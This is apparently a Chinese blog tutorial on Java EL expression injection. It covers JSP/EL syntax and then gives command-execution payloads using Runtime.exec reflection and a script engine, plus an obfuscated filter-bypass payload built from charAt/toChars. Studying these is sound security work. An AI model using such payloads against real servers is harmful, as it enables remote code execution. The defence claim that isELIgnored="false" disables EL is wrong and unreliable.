学习 Java EL 表达式注入
0x01 EL 介绍
表达式语言(Expression Language),或称EL表达式,简称EL,是Java中的一种特殊的通用编程语言,借鉴于JavaScript和XPath。主要作用是在Java Web应用程序嵌入到网页(如JSP)中,用以访问页面的上下文以及不同作用域中的对象 ),取得对象属性的值,或执行简单的运算或判断操作。EL在得到某个数据时,会自动进行数据类型的转换。 ——wikipedia
Java EL 被用在 JavaServer Faces technology (JSF)and JavaServer Pages (JSP) 中,主要功能就是
- 访问 JavaBean 属性,数组或各类集合
- 检索 java 对象,获取数据
- 逻辑和算术运算
- 调用 java 类方法
注意区分 JSP 页面中的脚本表达式 <%= 这里是表达式 %>
,EL 正是用来替换脚本表达式的
JSP 中的语法:
脚本程序
1
<% 这里是JAVA代码 %>
JP 声明
声明变量和方法
1
2
3
4
5<%! declaration; [ declaration; ]+ ... %>
<%! int i = 0; %>
<%! int a, b, c; %>
<%! Circle a = new Circle(2.0); %>JSP 表达式
是对数据的表示,系统将其作为一个值进行计算,表达式的值会转为 string,调用的方法必须要有返回值,不能用
;
分号1
2
3
4
5
6
7
8<p>
今天的日期是: <%= (new java.util.Date()).toLocaleString()%>
</p>
<% if (user != null ) { %>
Hello <B><%=user%></B>
<% } else { %>
You haven't login!
<% } %>JSP 注释
1
<%-- 注释内容 --%>
JSP 指令
设置与整个JSP页面相关的属性,开头就能看到
| <%@ page … %> | 定义页面的依赖属性,比如脚本语言、error页面、缓存需求等等 |
| —————— | ——————————————————— |
| <%@ include … %> | 包含其他文件 |
| <%@ taglib … %> | 引入标签库的定义,可以是自定义标签 |1
2
3
4<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html ....
还有 JSP 行为与隐含对象等内容就不介绍了,可以看 JSP 语法 | 菜鸟教程
0x02 EL 使用
立即求值(Immediate Evaluation)
表达式将使用 ${}
语法,一般模板只能用这个
延迟求值(Deferred Evaluation)
表达式使用 #{}
语法,模板用这个会报错,详情可以看 https://docs.oracle.com/javaee/7/tutorial/jsf-el.htm#GJDDD
IDEA 新建一个 Maven 项目进行测试,file Project Structure 里 Facets 添加一个 Web
web.xml 添加
1 | <welcome-file-list> |
Web 目录下新建 index.jsp
使用值表达式引用对象
能够引用以下对象的属性
- Lambda parameters
- EL variables
- Managed beans
- Implicit objects
- Classes of static fields and methods
引用对象属性或集合元素
使用 .
或 []
表示法
比如要获取 customer 的属性 name,则可以使用
1 | ${customer.name} |
或者
1 | ${customer["name"]} |
通常 []
比 .
要普遍,因为 []
中不只是字符串,可以是字符串表达式,可以进行动态取值,而且 .
可能受一些特殊字符的影响
以下三种写法效果相同
1 | <html> |
EL 运算符
- 算术:
+
,-
(二元),*
,/
和div
,%
和mod
,-
(一元)。 - 字符串连接:
+=
。 - 逻辑:
and
,&&
,or
,||
,not
,!
。 - 关系:
==
,eq
,!=
,ne
,<
,lt
,>
,gt
,<=
,ge
,>=
,le
。可以与其他值或布尔值,字符串,整数或浮点文字进行比较。 - 空:
empty
运算符是前缀运算,可用于确定值是null
还是空。 - 条件:
A ? B : C
。评估B
或C
根据的评估结果A
。 - lambda表达式:
->
,箭头标记。 - 赋值:
=
。 - 分号:
;
。
运算符优先级如下(从高到低,从左到右):
[] .
()
(用于更改运算符的优先)-
(一元)not ! empty
* / div % mod
+ -
(二元)+=
<> <= >= lt gt le ge
== != eq ne
&& and
|| or
? :
->
=
;
除了上运算中的字符外还有一些其它的保留字符:
true
false
null
instanceof
empty
div
mod
0x03 EL 注入
JSP 有 9 个隐式对象,如下
request | HttpServletRequest 接口的实例 |
---|---|
response | HttpServletResponse 接口的实例 |
out | JspWriter类的实例,用于把结果输出至网页上 |
session | HttpSession类的实例 |
application | ServletContext类的实例,与应用上下文有关 |
config | ServletConfig类的实例 |
pageContext | PageContext类的实例,提供对JSP页面所有对象以及命名空间的访问 |
page | 类似于Java类中的this关键字 |
Exception | Exception类的对象,代表发生错误的JSP页面中对应的异常对象 |
但其中只有一个 pageContext 是 EL 隐式对象, 还有4个作用域隐式对象,通过映射访问作用域属性,还有参数访问隐式对象、首部访问隐式对象和初始化参数访问隐式对象,如下
类别 | 标识符 | 描述 |
---|---|---|
JSP | pageContext | PageContext 实例对应于当前页面的处理 |
作用域 | pageScope | 与页面作用域属性的名称和值相关联的 Map 类 |
requestScope | 与请求作用域属性的名称和值相关联的 Map 类 | |
sessionScope | 与会话作用域属性的名称和值相关联的 Map 类 | |
applicationScope | 与应用程序作用域属性的名称和值相关联的 Map 类 | |
请求参数 | param | 按名称存储请求参数的主要值的 Map 类 |
paramValues | 将请求参数的所有值作为 String 数组存储的 Map 类 | |
请求头 | header | 按名称存储请求头主要值的 Map 类 |
headerValues | 将请求头的所有值作为 String 数组存储的 Map 类 | |
Cookie | cookie | 按名称存储请求附带的 cookie 的 Map 类 |
初始化参数 | initParam | 按名称存储 Web 应用程序上下文初始化参数的 Map 类 |
在 EL 注入中,产生的原因就是把用户输入作为 EL 表达式内容来执行,通常使用方法
1 | javax.el.ExpressionFactory.createValueExpression() |
如以下代码:
1 | import de.odysseus.el.ExpressionFactoryImpl; |
常用 poc:
1 | //对应于JSP页面中的pageContext对象(注意:取的是pageContext对象) |
利用反射实现命令执行
1 | ${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"open -a Calculator.app"))} |
EL + JS 引擎实现命令执行
1 | ${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('open -a Calculator.app')")} |
0x04 EL 绕过与防御
绕过
通过下面这段 EL,能够获取字符 C
则同理可以获取任意字符串
1 | ${true.toString().charAt(0).toChars(67)[0].toString()} |
利用以上原理,通过 charAt 与 toChars 获取字符,在由 toString 转字符串再用 concat 拼接来绕过一些敏感字符的过滤
生成 paylaod 脚本:
1 | #coding: utf-8 |
得到:
1 | ${pageContext.setAttribute(true.toString().charAt(0).toChars(97)[0].toString(),"".getClass().forName(true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).getMethod(true.toString().charAt(0).toChars(101)[0].toString().concat(true.toString().charAt(0).toChars(120)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()),"".getClass()).invoke("".getClass().forName(true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).getMethod(true.toString().charAt(0).toChars(103)[0].toString().concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).invoke(null),true.toString().charAt(0).toChars(111)[0].toString().concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(45)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(67)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(111)[0].toString()).concat(true.toString().charAt(0).toChars(114)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(112)[0].toString())))} |
防御
- 过滤敏感内容
- 使用其它方法
- 在 JSP 中加入
<%@ page isELIgnored="false" %>
禁用
Reference
https://blog.csdn.net/qyqingyan/article/details/20606845
https://pulsesecurity.co.nz/articles/EL-Injection-WAF-Bypass